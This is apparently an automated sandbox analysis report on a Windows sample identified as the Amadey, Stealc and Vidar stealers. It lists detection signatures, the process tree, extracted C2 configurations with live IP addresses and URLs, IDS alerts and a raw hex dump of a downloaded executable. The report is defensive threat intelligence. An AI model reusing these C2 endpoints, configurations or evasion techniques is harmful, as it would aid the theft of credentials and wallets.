Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1562029
MD5:	b1992af747fc52cb2b427fef697392f2
SHA1:	a24e481626321efc83ae2710b248361be8f0aec1
SHA256:	8a90b02ee33fe65b40963bba40a936c6544eda66ed6665ae8c3b683007311d3d
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7328 cmdline: "C:\Users\user\Desktop\file.exe" MD5: B1992AF747FC52CB2B427FEF697392F2)

chrome.exe (PID: 7768 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7976 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2172,i,7858906980099681468,10361499139629388727,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 5100 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7304 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2536 --field-trial-handle=2340,i,18394194686308781120,9106912296226367801,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 8836 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDHJEBGIEB.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsIDHJEBGIEB.exe (PID: 5536 cmdline: "C:\Users\user\DocumentsIDHJEBGIEB.exe" MD5: A6728E0D2B00CEAFE1489CB92D286323)

skotes.exe (PID: 8800 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: A6728E0D2B00CEAFE1489CB92D286323)

msedge.exe (PID: 7820 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7356 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2744 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8392 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6452 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8408 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6700 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8512 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7096 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8524 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7096 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 9140 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6744 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 8856 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: A6728E0D2B00CEAFE1489CB92D286323)

skotes.exe (PID: 6076 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: A6728E0D2B00CEAFE1489CB92D286323)

9f1158ad0a.exe (PID: 1952 cmdline: "C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe" MD5: 8CAA4EE3F7639C23AA47DF1F7F6074BD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001A.00000003.2694072202.0000000004E50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2185223333.0000000004B10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000002.3420689915.0000000000031000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000003.3255068328.0000000004820000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.2776990344.0000000000031000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.2737672229.0000000000D71000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.2777165558.0000000000031000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2699780508.000000000064E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2700782592.0000000000A01000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.2736458932.0000000004820000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000003.2736424546.0000000004820000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 7328	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7328	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7328	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7328	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
28.2.skotes.exe.30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.skotes.exe.30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.2.DocumentsIDHJEBGIEB.exe.d70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
31.2.skotes.exe.30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7328, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7768, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T05:46:20.003960+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49724	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T05:46:19.881844+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49724	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T05:46:20.339684+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49724	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T05:46:21.932407+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49724	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T05:46:20.468906+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49724	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T05:46:19.425933+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49724	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T05:48:05.967624+0100	2856147	1	A Network Trojan was detected	192.168.2.6	53157	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T05:46:08.024747+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	53164	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T05:48:10.500001+0100	2803305	3	Unknown Traffic	192.168.2.6	53169	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T05:46:22.729010+0100	2803304	3	Unknown Traffic	192.168.2.6	49724	185.215.113.206	80	TCP
2024-11-25T05:46:45.252188+0100	2803304	3	Unknown Traffic	192.168.2.6	49829	185.215.113.206	80	TCP
2024-11-25T05:46:47.208738+0100	2803304	3	Unknown Traffic	192.168.2.6	49829	185.215.113.206	80	TCP
2024-11-25T05:46:48.592722+0100	2803304	3	Unknown Traffic	192.168.2.6	49829	185.215.113.206	80	TCP
2024-11-25T05:46:49.863002+0100	2803304	3	Unknown Traffic	192.168.2.6	49829	185.215.113.206	80	TCP
2024-11-25T05:46:53.659980+0100	2803304	3	Unknown Traffic	192.168.2.6	49829	185.215.113.206	80	TCP
2024-11-25T05:46:54.744844+0100	2803304	3	Unknown Traffic	192.168.2.6	49829	185.215.113.206	80	TCP
2024-11-25T05:47:00.930442+0100	2803304	3	Unknown Traffic	192.168.2.6	49957	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.phpGdO	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpzB	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllw	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpURE=x86PROCESSOR_	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001A.00000003.2694072202.0000000004E50000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.2699780508.000000000064E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe	ReversingLabs: Detection: 34%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C976C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C976C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.190.147.7:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.7:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.89:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.176:443 -> 192.168.2.6:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49995 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2744528513.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2744528513.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49724 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49724 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49724
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49724 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49724
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49724 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:53157 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:53164

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

TCP traffic: 192.168.2.6:53100 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 04:46:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 